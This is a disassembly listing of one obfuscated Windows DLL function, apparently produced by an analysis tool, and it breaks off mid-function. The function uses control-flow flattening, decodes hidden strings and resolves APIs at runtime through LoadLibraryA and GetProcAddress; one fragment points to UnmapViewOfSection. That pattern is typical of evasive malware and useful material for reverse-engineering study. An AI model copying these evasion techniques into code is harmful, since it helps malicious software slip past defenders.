Function at 0x180013284
Capabilities:
Link many functions at runtime

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x308
movaps xmmword [rsp + 0x2f0], xmm15
movaps xmmword [rsp + 0x2e0], xmm14
movaps xmmword [rsp + 0x2d0], xmm13
movaps xmmword [rsp + 0x2c0], xmm12
movaps xmmword [rsp + 0x2b0], xmm11
movaps xmmword [rsp + 0x2a0], xmm10
movaps xmmword [rsp + 0x290], xmm9
movaps xmmword [rsp + 0x280], xmm8
movaps xmmword [rsp + 0x270], xmm7
movaps xmmword [rsp + 0x260], xmm6
movabs rax, 0x500f060d11060863
lea rcx, [rsp + 0x31]
mov qword [rcx - 1], rax
mov dword [rcx + 7], 0xf074d51
mov byte [rcx + 0xb], 0xf
lea rax, [rsp + 0x3d]
lea rdx, [rsp + 0x3e]
mov qword [rsp + 0x20], rdx
mov ebp, 0x1e7c60b6
mov edx, 0xd81569fa
cmp ebp, 0xd81569fa
je 0x18001334b
cmp ebp, 0x1e7c60b6
jne 0x180013326
mov byte [rax], 0
inc rax
cmp rax, qword [rsp + 0x20]
mov ebp, 0x1e7c60b6
cmove ebp, edx
jmp 0x180013326
xor eax, eax
mov edx, 0x415f2873
mov ebp, 0x4c987092
cmp ebp, 0x9a7a12ca
je 0x180013399
cmp ebp, 0x415f2873
je 0x180013387
cmp ebp, 0x4c987092
jne 0x180013357
mov qword [rsp + 0x20], rax
mov rbp, qword [rsp + 0x20]
cmp rbp, 0xc
mov ebp, 0x9a7a12ca
cmovb ebp, edx
jmp 0x180013357
mov rax, qword [rsp + 0x20]
mov bl, byte [rsp + 0x30]
xor byte [rsp + rax + 0x31], bl
inc rax
jmp 0x180013352
lea rsi, [rsp + 0x30]
mov byte [rsi + 0xd], 0
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x50], rax
mov ecx, 1
mov r15, rsi
or r15, rcx
mov eax, 0xe
lea rdx, [rsi + rax]
mov qword [rsp + 0x258], rdx
add rax, rsi
mov qword [rsp + 0x78], rax
mov edx, 0x18
lea rax, [rsi + rdx]
mov qword [rsp + 0x248], rax
mov eax, 0x19
add rax, rsi
mov qword [rsp + 0x130], rax
lea rax, [rsp + 0x20]
or rcx, rax
mov qword [rsp + 0x138], rcx
mov ecx, 7
or rcx, rax
mov qword [rsp + 0x128], rcx
mov eax, 0x12
lea rcx, [rsi + rax]
mov qword [rsp + 0x240], rcx
lea rcx, [rsi + rax]
mov qword [rsp + 0x238], rcx
mov ecx, 0x11
lea rbp, [rsi + rcx]
mov qword [rsp + 0x230], rbp
add rax, rsi
mov qword [rsp + 0xc0], rax
lea rax, [rsi + rcx]
mov qword [rsp + 0x228], rax
mov eax, 0x10
add rcx, rsi
mov qword [rsp + 0xb8], rcx
add rdx, rsi
mov qword [rsp + 0x250], rdx
lea rcx, [rsi + rax]
mov qword [rsp + 0x220], rcx
lea rcx, [rsi + rax]
mov qword [rsp + 0x148], rcx
lea rcx, [rsi + rax]
mov qword [rsp + 0x120], rcx
add rax, rsi
mov qword [rsp + 0xa0], rax
mov eax, 0x14
lea rcx, [rsi + rax]
mov qword [rsp + 0x218], rcx
lea rcx, [rsi + rax]
mov qword [rsp + 0x210], rcx
add rax, rsi
mov qword [rsp + 0xb0], rax
mov eax, 0x13
lea rcx, [rsi + rax]
mov qword [rsp + 0x98], rcx
add rax, rsi
mov qword [rsp + 0x208], rax
mov eax, 0xd
lea rcx, [rsi + rax]
mov qword [rsp + 0x118], rcx
lea rcx, [rsi + rax]
mov qword [rsp + 0x110], rcx
lea rcx, [rsi + rax]
mov qword [rsp + 0xa8], rcx
lea rcx, [rsi + rax]
mov qword [rsp + 0x108], rcx
add rax, rsi
mov qword [rsp + 0x200], rax
mov r13d, 0xf
lea rax, [rsi + r13]
mov qword [rsp + 0x140], rax
lea rax, [rsi + r13]
mov qword [rsp + 0x1f8], rax
lea rax, [rsi + r13]
mov qword [rsp + 0x1f0], rax
lea rax, [rsi + r13]
mov qword [rsp + 0x1e8], rax
lea rax, [rsi + r13]
mov qword [rsp + 0x1e0], rax
add r13, rsi
mov eax, 0x16
lea rcx, [rsi + rax]
mov qword [rsp + 0xf8], rcx
add rax, rsi
mov qword [rsp + 0x100], rax
mov eax, 0x15
lea rcx, [rsi + rax]
mov qword [rsp + 0x1d0], rcx
lea rcx, [rsi + rax]
mov qword [rsp + 0x90], rcx
add rax, rsi
mov qword [rsp + 0x1d8], rax
mov r14d, 0xc
lea rax, [rsi + r14]
mov qword [rsp + 0x1c8], rax
lea rax, [rsi + r14]
mov qword [rsp + 0x1c0], rax
lea rax, [rsi + r14]
mov qword [rsp + 0x70], rax
lea rax, [rsi + r14]
mov qword [rsp + 0xf0], rax
lea rax, [rsi + r14]
mov qword [rsp + 0x1b8], rax
add r14, rsi
mov eax, 9
lea rcx, [rsi + rax]
mov qword [rsp + 0x1a8], rcx
add rax, rsi
mov qword [rsp + 0x1b0], rax
mov edi, 0xa
lea rax, [rsi + rdi]
mov qword [rsp + 0xe8], rax
lea rax, [rsi + rdi]
mov qword [rsp + 0x1a0], rax
lea rax, [rsi + rdi]
mov qword [rsp + 0x198], rax
lea rax, [rsi + rdi]
mov qword [rsp + 0x190], rax
add rdi, rsi
mov r12d, 0xb
lea rax, [rsi + r12]
mov qword [rsp + 0x188], rax
lea rax, [rsi + r12]
mov qword [rsp + 0x180], rax
lea rax, [rsi + r12]
mov qword [rsp + 0x178], rax
lea rax, [rsi + r12]
mov qword [rsp + 0x170], rax
lea rax, [rsi + r12]
mov qword [rsp + 0x168], rax
lea rax, [rsi + r12]
mov qword [rsp + 0xe0], rax
lea rax, [rsi + r12]
mov qword [rsp + 0x88], rax
add r12, rsi
mov rbx, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebp, 0x9d05909f
movaps xmm6, xmmword [0x1800287c0]
movaps xmm8, xmmword [0x180028800]
movaps xmm9, xmmword [0x180028760]
movaps xmm10, xmmword [str.Nzp]
movaps xmm11, xmmword [0x180028710]
movaps xmm12, xmmword [str.pFWkBMGOFjMELQNNtUnmapViewOfSecu_]
movaps xmm13, xmmword [0x1800286d0]
movaps xmm14, xmmword [0x180028780]
movaps xmm15, xmmword [0x180028830]
movaps xmm7, xmmword [0x1800287f0]
mov eax, 0xfad4dcaa
cmp eax, 0xf9ac31d3
jle 0x18001376a
cmp eax, 0x3cf8b56e
jle 0x1800137d4
cmp eax, 0x6a32dba9
jg 0x180013892
cmp eax, 0x53344431
jg 0x180013ae1
cmp eax, 0x484092f1
jg 0x180013e46
cmp eax, 0x4213623f
jle 0x1800143bd
cmp eax, 0x42136240
je 0x180014f60
cmp eax, 0x4419b4ba
je 0x1800149e8
cmp eax, 0x462c0ba1
jne 0x180013700
mov dword [rsp + 0x2c], 0x6f
mov eax, 0xb4a95d5c
jmp 0x180013700
cmp eax, 0xb80ed963
jg 0x180013833
cmp eax, 0xa65443d9
jg 0x180013946
cmp eax, 0x9856134c
jg 0x180013b2a
cmp eax, 0x8f6ae495
jg 0x180013e84
cmp eax, 0x85b8c41f
jle 0x1800143e5
cmp eax, 0x85b8c420
je 0x180014f72
cmp eax, 0x866d4ab4
je 0x180014fc7
cmp eax, 0x89ea7bb5
jne 0x180013700
mov dword [rsp + 0x2c], 0x3d
mov eax, 0xb4a95d5c
jmp 0x180013700
cmp eax, 0x16533515
jle 0x18001399a
cmp eax, 0x2d7e5b77
jg 0x180013bbc
cmp eax, 0x22df8662
jg 0x180013ec2
cmp eax, 0x1f933fef
jle 0x18001446d
cmp eax, 0x1f933ff0
je 0x180014fd9
cmp eax, 0x214de6cd
je 0x180015037
cmp eax, 0x2181b26d
jne 0x180013700
mov eax, 0xb4a95d5c
mov dword [rsp + 0x2c], 6
jmp 0x180013700
cmp eax, 0xdb1f5dcb
jle 0x180013a4b
cmp eax, 0xef115326
jg 0x180013c05
cmp eax, 0xe32fc4ba
jg 0x180013f00
cmp eax, 0xded1fc84
jle 0x180014495
cmp eax, 0xded1fc85
je 0x1800149e8
cmp eax, 0xdf8ffe7c
je 0x180015098
cmp eax, 0xe1471bb2
jne 0x180013700
mov eax, 0xb4a95d5c
mov dword [rsp + 0x2c], 0xa
jmp 0x180013700
cmp eax, 0x78a19691
jg 0x180013ca5
cmp eax, 0x72716a55
jg 0x180013f3e
cmp eax, 0x6f58be13
jle 0x1800144bd
cmp eax, 0x6f58be14
je 0x1800150aa
cmp eax, 0x710e1338
je 0x1800150bc
cmp eax, 0x72357e4d
jne 0x180013700
movabs rax, 0x4f726974536b6956
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x38], 0x7c497d69
mov word [rsp + 0x3c], 0x45
xor eax, eax
mov ecx, 0x7b6c6e32
cmp ecx, 0xddffe6dd
je 0x180013932
cmp ecx, 0xae91dcd
je 0x18001511d
cmp ecx, 0x7b6c6e32
jne 0x1800138f9
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0xd
mov ecx, 0xae91dcd
mov edx, 0xddffe6dd
cmovb ecx, edx
jmp 0x1800138f9
mov rax, qword [rsp + 0x20]
add byte [rsp + rax + 0x30], 0xfc
mov rax, qword [rsp + 0x20]
inc rax
jmp 0x1800138f4
cmp eax, 0xaf9bdc31
jg 0x180013d42
cmp eax, 0xadb6f066
jg 0x180013f7c
cmp eax, 0xab8a9cc6
jle 0x1800144e5
cmp eax, 0xab8a9cc7
je 0x180015143
cmp eax, 0xac124a76
je 0x18001519f
cmp eax, 0xac52246e
jne 0x180013700
mov dword [rsp + 0x2c], 0x47
mov eax, 0xb4a95d5c
jmp 0x180013700
cmp eax, 0x7269445
jle 0x180013d73
cmp eax, 0x114055e4
jg 0x180014009
cmp eax, 0xa25dc1f
jle 0x180014559
cmp eax, 0xa25dc20
je 0x1800151b1
cmp eax, 0xa66b639
je 0x1800151c3
cmp eax, 0xdbf6130
jne 0x180013700
movaps xmm0, xmmword [0x1800287e0]
movaps xmmword [rsp + 0x30], xmm0
movabs rax, 0x44686f65646c75
mov qword [rsp + 0x40], rax
xor eax, eax
mov ecx, 0x2d146eee
cmp ecx, 0xd864b2c3
je 0x1800151d5
cmp ecx, 0xda2d574c
je 0x180013a37
cmp ecx, 0x2d146eee
jne 0x1800139fe
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0x17
mov ecx, 0xd864b2c3
mov edx, 0xda2d574c
cmovb ecx, edx
jmp 0x1800139fe
mov rax, qword [rsp + 0x20]
add byte [rsp + rax + 0x30], 0xfd
mov rax, qword [rsp + 0x20]
inc rax
jmp 0x1800139f9
cmp eax, 0xd067eb83
jle 0x180013daf
cmp eax, 0xd6148bf5
jg 0x180014047
cmp eax, 0xd173f1ef
jle 0x1800145da
cmp eax, 0xd173f1f0
je 0x1800151fb
cmp eax, 0xd2e64f7e
je 0x18001524f
cmp eax, 0xd3fa9171
jne 0x180013700
movaps xmm0, xmmword [0x180028730]
movaps xmmword [rsp + 0x30], xmm0
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x20], rax
mov ecx, 0x64849498
mov rax, qword [rsp + 0x220]
cmp ecx, 0x33be39a8
je 0x1800152b2
cmp ecx, 0x64849498
jne 0x180013ab3
mov byte [rax], 0
inc rax
cmp rax, qword [rsp + 0x20]
mov ecx, 0x64849498
mov edx, 0x33be39a8
cmove ecx, edx
jmp 0x180013ab3
cmp eax, 0x594a01d6
jg 0x180014085
cmp eax, 0x562cb220
jle 0x180014641
cmp eax, 0x562cb221
je 0x180015309
cmp eax, 0x58a106a0
je 0x18001531b
cmp eax, 0x592f412f
jne 0x180013700
mov eax, 0xb4a95d5c
mov dword [rsp + 0x2c], 0x32
jmp 0x180013700
cmp eax, 0xa23a9c86
jg 0x1800140c3
cmp eax, 0x9ca28f39
jle 0x1800146ce
cmp eax, 0x9ca28f3a
je 0x18001532d
cmp eax, 0x9d05909f
je 0x180015398
cmp eax, 0x9e9bfbb7
jne 0x180013700
movaps xmmword [rsp + 0x30], xmm12
mov dword [rsp + 0x40], 0x4c4a5742
mov byte [rsp + 0x44], 0x4d
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x20], rax
mov ecx, 0x6397bc92
mov rax, qword [rsp + 0x1d8]
cmp ecx, 0x511c5173
je 0x1800153aa
cmp ecx, 0x6397bc92
jne 0x180013b8e
mov byte [rax], 0
inc rax
cmp rax, qword [rsp + 0x20]
mov ecx, 0x6397bc92
mov edx, 0x511c5173
cmove ecx, edx
jmp 0x180013b8e
cmp eax, 0x3604c8b9
jg 0x180014144
cmp eax, 0x2e99a169
jle 0x18001473f
cmp eax, 0x2e99a16a
je 0x1800153fc
cmp eax, 0x33d72999
je 0x18001540e
cmp eax, 0x33fb2d2c
jne 0x180013700
mov eax, 0xb4a95d5c
mov dword [rsp + 0x2c], 9
jmp 0x180013700
cmp eax, 0xf297f59a
jg 0x180014175
cmp eax, 0xf10ba8b7
jle 0x1800147ba
cmp eax, 0xf10ba8b8
je 0x180015420
cmp eax, 0xf182784b
je 0x180015432
cmp eax, 0xf1e24930
jne 0x180013700
movabs rax, 0x666d6a476677704e
mov qword [rsp + 0x30], rax
mov word [rsp + 0x38], 0x58
xor eax, eax
mov ecx, 0x7e4b8fcb
cmp ecx, 0xebea22c8
je 0x180015444
cmp ecx, 0xf85c727c
je 0x180013c92
cmp ecx, 0x7e4b8fcb
jne 0x180013c59
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 9
mov ecx, 0xebea22c8
mov edx, 0xf85c727c
cmovb ecx, edx
jmp 0x180013c59
mov rax, qword [rsp + 0x20]
dec byte [rsp + rax + 0x30]
mov rax, qword [rsp + 0x20]
inc rax
jmp 0x180013c54
cmp eax, 0x7c20e11e
jg 0x1800141f5
cmp eax, 0x7b0746f7
jle 0x180014847
cmp eax, 0x7b0746f8
je 0x18001546a
cmp eax, 0x7b8e11bc
je 0x18001547c
cmp eax, 0x7bd2b0d0
jne 0x180013700
movabs rax, 0x777462497d745f0c
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x38], 0x7f676040
mov word [rsp + 0x3c], 0x7f79
mov rax, qword [rsp + 0x140]
mov qword [rsp + 0x20], rax
mov ecx, 0x3e026b14
mov rax, qword [rsp + 0x258]
cmp ecx, 0x656fff06
je 0x1800154e7
cmp ecx, 0x3e026b14
jne 0x180013d14
mov byte [rax], 0
inc rax
cmp rax, qword [rsp + 0x20]
mov ecx, 0x3e026b14
mov edx, 0x656fff06
cmove ecx, edx
jmp 0x180013d14
cmp eax, 0xb3f2b687
jle 0x180014280
cmp eax, 0xb4a95d5c
je 0x18001809e
cmp eax, 0xb3f2b688
je 0x18001553e
cmp eax, 0xb61c92cc
jne 0x180013700
jmp 0x180014d84
cmp eax, 0xff180b73
jle 0x180014310
cmp eax, 0x40ebb5c
jle 0x18001486f
cmp eax, 0x40ebb5d
je 0x18001559e
cmp eax, 0x4db9444
je 0x180013e72
cmp eax, 0x61fa78c
jne 0x180013700
jmp 0x180014d96
cmp eax, 0xbd73a7f7
jle 0x18001438a
cmp eax, 0xc10c3b1f
jle 0x1800148e0
cmp eax, 0xc10c3b20
je 0x1800155b0
cmp eax, 0xc6df2bce
je 0x1800155c2
cmp eax, 0xd023b9bc
jne 0x180013700
movaps xmm0, xmmword [0x180028810]
movaps xmmword [rsp + 0x30], xmm0
mov word [rsp + 0x40], 0x801
mov byte [rsp + 0x42], 0x2e
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x20], rax
mov ecx, 0x5e009f74
mov rax, qword [rsp + 0x98]
cmp ecx, 0x5e0bc067
je 0x180015623
cmp ecx, 0x5e009f74
jne 0x180013e18
mov byte [rax], 0
inc rax
cmp rax, qword [rsp + 0x20]
mov ecx, 0x5e009f74
mov edx, 0x5e0bc067
cmove ecx, edx
jmp 0x180013e18
cmp eax, 0x4994d16a
jle 0x180014956
cmp eax, 0x4994d16b
je 0x180014da8
cmp eax, 0x4ac5ac22
je 0x180015675
cmp eax, 0x4b482491
jne 0x180013700
mov eax, 0xb4a95d5c
mov dword [rsp + 0x2c], 0x14
jmp 0x180013700
cmp eax, 0x92f9393a
jle 0x1800149d2
cmp eax, 0x92f9393b
je 0x180015687
cmp eax, 0x93ce61bf
je 0x1800156f2
cmp eax, 0x9742b1f1
jne 0x180013700
mov eax, 0xb4a95d5c
mov dword [rsp + 0x2c], 8
jmp 0x180013700
cmp eax, 0x273fd391
jle 0x1800149fa
cmp eax, 0x273fd392
je 0x180015750
cmp eax, 0x2b8102fb
je 0x180015762
cmp eax, 0x2c93271d
jne 0x180013700
mov dword [rsp + 0x2c], 0x50
mov eax, 0xb4a95d5c
jmp 0x180013700
cmp eax, 0xe5cceccc
jle 0x180014a22
cmp eax, 0xe5cceccd
je 0x1800149e8
cmp eax, 0xe75becc0
je 0x1800157c2
cmp eax, 0xe87ad079
jne 0x180013700
mov dword [rsp + 0x2c], 0x3e
mov eax, 0xb4a95d5c
jmp 0x180013700
cmp eax, 0x735f5aa8
jle 0x180014a98
cmp eax, 0x735f5aa9
je 0x180015822
cmp eax, 0x74923c3e
je 0x18001587b
cmp eax, 0x749f7f30
jne 0x180013700
mov eax, 0xb4a95d5c
mov dword [rsp + 0x2c], 0x2f
jmp 0x180013700
cmp eax, 0xae98efa9
jle 0x180014ac0
cmp eax, 0xae98efaa
je 0x1800158de
cmp eax, 0xae9f9564
je 0x18001593e
cmp eax, 0xaf07cde7
jne 0x180013700
movaps xmmword [rsp + 0x30], xmm10
mov word [rsp + 0x40], 0x7f
xor eax, eax
mov ecx, 0x2bc22ad8
cmp ecx, 0x860dbe5b
je 0x1800159a5
cmp ecx, 0x57cab412
je 0x180013ff5
cmp ecx, 0x2bc22ad8
jne 0x180013fbc
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0x11
mov ecx, 0x860dbe5b
mov edx, 0x57cab412
cmovb ecx, edx
jmp 0x180013fbc
mov rax, qword [rsp + 0x20]
add byte [rsp + rax + 0x30], 0xf5
mov rax, qword [rsp + 0x20]
inc rax
jmp 0x180013fb7
cmp eax, 0x148d7676
jle 0x180014ae8
cmp eax, 0x148d7677
je 0x1800159cb
cmp eax, 0x14b6e820
je 0x180015a2b
cmp eax, 0x14e74170
jne 0x180013700
mov dword [rsp + 0x2c], 0x39
mov eax, 0xb4a95d5c
jmp 0x180013700
cmp eax, 0xd9464889
jle 0x180014b63
cmp eax, 0xd946488a
je 0x180015a96
cmp eax, 0xd9a179a3
je 0x180015aa8
cmp eax, 0xda6322f7
jne 0x180013700
mov dword [rsp + 0x2c], 0x42
mov eax, 0xb4a95d5c
jmp 0x180013700
cmp eax, 0x5c2ae4f5
jle 0x180014b8b
cmp eax, 0x5c2ae4f6
je 0x180015aba
cmp eax, 0x5f7b868f
je 0x180015acc
cmp eax, 0x6751c881
jne 0x180013700
mov eax, 0xb4a95d5c
mov dword [rsp + 0x2c], 0x10
jmp 0x180013700
cmp eax, 0xa321a78b
jle 0x180014c02
cmp eax, 0xa321a78c
je 0x180015b25
cmp eax, 0xa3ab7a32
je 0x180014d96
cmp eax, 0xa468cf4c
jne 0x180013700
movaps xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x40], 0x4f5d5379
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x20], rax
mov ecx, 0xc877b8b3
mov rax, qword [rsp + 0x210]
cmp ecx, 0xc20b700
je 0x180015b37
cmp ecx, 0xc877b8b3
jne 0x180014116
mov byte [rax], 0
inc rax
cmp rax, qword [rsp + 0x20]
mov ecx, 0xc877b8b3
mov edx, 0xc20b700
cmove ecx, edx
jmp 0x180014116
cmp eax, 0x37fff6d0
jle 0x180014c87
cmp eax, 0x37fff6d1
je 0x180015b8e
cmp eax, 0x3968872f
je 0x180015bf7
cmp eax, 0x3b22b852
jne 0x180013700
jmp 0x180014d84
cmp eax, 0xf4906b2f
jle 0x180014caf
cmp eax, 0xf4906b30
je 0x180014d84
cmp eax, 0xf76984cb
je 0x180015c09
cmp eax, 0xf8e3402d
jne 0x180013700
mov dword [rsp + 0x20], 0x243e2749
mov word [rsp + 0x24], 0x3e24
mov rax, qword [rsp + 0x128]
mov qword [rsp + 0x30], rax
mov ecx, 0xe407fda0
lea rax, [rsp + 0x26]
cmp ecx, 0x8bd26ccb
je 0x180015c68
cmp ecx, 0xe407fda0
jne 0x1800141c7
mov byte [rax], 0
inc rax
cmp rax, qword [rsp + 0x30]
mov ecx, 0xe407fda0
mov edx, 0x8bd26ccb
cmove ecx, edx
jmp 0x1800141c7
cmp eax, 0x7da65b3d
jle 0x180014cd7
cmp eax, 0x7da65b3e
je 0x180015cbf
cmp eax, 0x7ef51a83
je 0x180015d36
cmp eax, 0x7ff11ef1
jne 0x180013700
movabs rax, 0x4e4f0e091f192f7c
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x38], 0x10101852
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x20], rax
mov ecx, 0x4b437d3a
mov rax, qword [rsp + 0xf0]
cmp ecx, 0x80ab5835
je 0x180015d97
cmp ecx, 0x4b437d3a
jne 0x180014252
mov byte [rax], 0
inc rax
cmp rax, qword [rsp + 0x20]
mov ecx, 0x4b437d3a
mov edx, 0x80ab5835
cmove ecx, edx
jmp 0x180014252
cmp eax, 0xaf9bdc32
je 0x180014dba
cmp eax, 0xb25ad48d
je 0x180014e2c
cmp eax, 0xb39e680e
jne 0x180013700
movaps xmm0, xmmword [str.Npl]
movaps xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x40], 0x6f707f6e
mov word [rsp + 0x44], 0x4c
xor eax, eax
mov ecx, 0x79393161
cmp ecx, 0xcf27af67
je 0x180014e93
cmp ecx, 0x43fe8255
je 0x1800142fc
cmp ecx, 0x79393161
jne 0x1800142c3
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0x15
mov ecx, 0xcf27af67
mov edx, 0x43fe8255
cmovb ecx, edx
jmp 0x1800142c3
mov rax, qword [rsp + 0x20]
add byte [rsp + rax + 0x30], 0xf5
mov rax, qword [rsp + 0x20]
inc rax
jmp 0x1800142be
cmp eax, 0xfad4dca9
jg 0x180014cf2
cmp eax, 0xf9ac31d4
je 0x180015de9
cmp eax, 0xf9c1c5ad
jne 0x180013700
movaps xmm0, xmmword [0x1800286f0]
movaps xmmword [rsp + 0x30], xmm0
mov byte [rsp + 0x40], 0x25
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x20], rax
mov ecx, 0xd63e78df
mov rax, qword [rsp + 0x230]
cmp ecx, 0x542433b0
je 0x180015dfb
cmp ecx, 0xd63e78df
jne 0x18001435c
mov byte [rax], 0
inc rax
cmp rax, qword [rsp + 0x20]
mov ecx, 0xd63e78df
mov edx, 0x542433b0
cmove ecx, edx
jmp 0x18001435c
cmp eax, 0xbcba9aab
jg 0x180014d5c
cmp eax, 0xb80ed964
je 0x180015e52
cmp eax, 0xb9afa176
jne 0x180013700
mov dword [rsp + 0x2c], 0x34
mov eax, 0xb4a95d5c
jmp 0x180013700
cmp eax, 0x3cf8b56f
je 0x180015e64
cmp eax, 0x40ac8162
jne 0x180013700
mov dword [rsp + 0x2c], 0x51
mov eax, 0xb4a95d5c
jmp 0x180013700
cmp eax, 0x83f85a83
je 0x180015ec2
cmp eax, 0x8559d5d2
jne 0x180013700
movabs rax, 0x53757d764d6f6d5a
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x38], 0x804d816d
mov word [rsp + 0x3c], 0x49
xor eax, eax
mov ecx, 0x23a27866
cmp ecx, 0xf199e762
je 0x180014459
cmp ecx, 0x7801fd2f
je 0x180015ed4
cmp ecx, 0x23a27866
jne 0x180014420
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0xd
mov ecx, 0x7801fd2f
mov edx, 0xf199e762
cmovb ecx, edx
jmp 0x180014420
mov rax, qword [rsp + 0x20]
add byte [rsp + rax + 0x30], 0xf8
mov rax, qword [rsp + 0x20]
inc rax
jmp 0x18001441b
cmp eax, 0x16533516
je 0x180015ef5
cmp eax, 0x1e0b08be
jne 0x180013700
mov dword [rsp + 0x2c], 0x49
mov eax, 0xb4a95d5c
jmp 0x180013700
cmp eax, 0xdb1f5dcc
je 0x180015f6b
cmp eax, 0xde0cd70b
jne 0x180013700
mov dword [rsp + 0x2c], 0
mov eax, 0xb4a95d5c
jmp 0x180013700
cmp eax, 0x6a32dbaa
je 0x180015fca
cmp eax, 0x6bcf0d35
jne 0x180013700
mov dword [rsp + 0x2c], 0x41
mov eax, 0xb4a95d5c
jmp 0x180013700
cmp eax, 0xa65443da
je 0x180016026
cmp eax, 0xa6678b6d
jne 0x180013700
movabs rax, 0x67624d727b64480b
mov qword [rsp + 0x30], rax
mov word [rsp + 0x38], 0x4a6e
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x20], rax
mov ecx, 0x7b583b46
mov rax, qword [rsp + 0x190]
cmp ecx, 0x41b5bd44
je 0x180016085
cmp ecx, 0x7b583b46
jne 0x18001452b
mov byte [rax], 0
inc rax
cmp rax, qword [rsp + 0x20]
mov ecx, 0x7b583b46
mov edx, 0x41b5bd44
cmove ecx, edx
jmp 0x18001452b
cmp eax, 0x7269446
je 0x1800160d7
cmp eax, 0x8d6f2fa
jne 0x180013700
movabs rax, 0x6a6864477f6e4c0b
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x38], 0x65426e67
mov word [rsp + 0x3c], 0x646d
mov byte [rsp + 0x3e], 0x4a
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x20], rax
mov ecx, 0xf69bc444
mov rax, qword [rsp + 0x1f0]
cmp ecx, 0x71c77314
je 0x180016137
cmp ecx, 0xf69bc444
jne 0x1800145ac
mov byte [rax], 0
inc rax
cmp rax, qword [rsp + 0x20]
mov ecx, 0xf69bc444
mov edx, 0x71c77314
cmove ecx, edx
jmp 0x1800145ac
cmp eax, 0xd067eb84
je 0x180016189
cmp eax, 0xd173b99e
jne 0x180013700
movabs rax, 0xe2000100a103661
mov qword [rsp + 0x30], rax
mov word [rsp + 0x38], 0xc04
mov qword [rsp + 0x20], r12
mov ecx, 0xb5601c9c
mov rax, rdi
cmp ecx, 0xf3c801a8
je 0x18001619b
cmp ecx, 0xb5601c9c
jne 0x180014613
mov byte [rax], 0
inc rax
cmp rax, qword [rsp + 0x20]
mov ecx, 0xb5601c9c
mov edx, 0xf3c801a8
cmove ecx, edx
jmp 0x180014613
cmp eax, 0x53344432
je 0x1800161f2
cmp eax, 0x5437144b
jne 0x180013700
movabs rax, 0x4b766b7f7e7c7360
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x38], 0x6d797676
mov word [rsp + 0x3c], 0x824f
mov byte [rsp + 0x3e], 0
xor eax, eax
mov ecx, 0x9f63adec
cmp ecx, 0x7dc86a98
je 0x1800146ba
cmp ecx, 0xa74bd7ec
je 0x180016204
cmp ecx, 0x9f63adec
jne 0x180014681
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0xe
mov ecx, 0xa74bd7ec
mov edx, 0x7dc86a98
cmovb ecx, edx
jmp 0x180014681
mov rax, qword [rsp + 0x20]
add byte [rsp + rax + 0x30], 0xf6
mov rax, qword [rsp + 0x20]
inc rax
jmp 0x18001467c
cmp eax, 0x9856134d
je 0x18001622a
cmp eax, 0x9bda4e7a
jne 0x180013700
movabs rax, 0x3e08180a0f1b2b68
mov qword [rsp + 0x30], rax
mov word [rsp + 0x38], 6
mov byte [rsp + 0x3a], 0x14
mov qword [rsp + 0x20], r14
mov ecx, 0xb674b717
mov rax, qword [rsp + 0x88]
cmp ecx, 0x513d007a
je 0x180016284
cmp ecx, 0xb674b717
jne 0x180014711
mov byte [rax], 0
inc rax
cmp rax, qword [rsp + 0x20]
mov ecx, 0xb674b717
mov edx, 0x513d007a
cmove ecx, edx
jmp 0x180014711
cmp eax, 0x2d7e5b78
je 0x180014d72
cmp eax, 0x2e39eeec
jne 0x180013700
movaps xmm0, xmmword [str.NzNpl]
movaps xmmword [rsp + 0x30], xmm0
mov byte [rsp + 0x40], 0
xor eax, eax
mov ecx, 0x6c12c5cf
cmp ecx, 0xc7ba6822
je 0x1800147a6
cmp ecx, 0xea031796
je 0x1800162db
cmp ecx, 0x6c12c5cf
jne 0x18001476d
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0x10
mov ecx, 0xea031796
mov edx, 0xc7ba6822
cmovb ecx, edx
jmp 0x18001476d
mov rax, qword [rsp + 0x20]
add byte [rsp + rax + 0x30], 0xf5
mov rax, qword [rsp + 0x20]
inc rax
jmp 0x180014768
cmp eax, 0xef115327
je 0x180016301
cmp eax, 0xf0f157ad
jne 0x180013700
movabs rax, 0x6d7580757a557b4f
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x38], 0x71867578
mov word [rsp + 0x3c], 0x8451
mov byte [rsp + 0x3e], 0
xor eax, eax
mov ecx, 0x5e848e62
cmp ecx, 0xff89373e
je 0x18001635d
cmp ecx, 0x41abd5b2
je 0x180014833
cmp ecx, 0x5e848e62
jne 0x1800147fa
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
cmp rcx, 0xe
mov ecx, 0xff89373e
mov edx, 0x41abd5b2
cmovb ecx, edx
jmp 0x1800147fa
mov rax, qword [rsp + 0x20]
add byte [rsp + rax + 0x30], 0xf4
mov rax, qword [rsp + 0x20]
inc rax
jmp 0x1800147f5
cmp eax, 0x78a19692
je 0x180016383
cmp eax, 0x791b03d3
jne 0x180013700
mov dword [rsp + 0x2c], 0x46
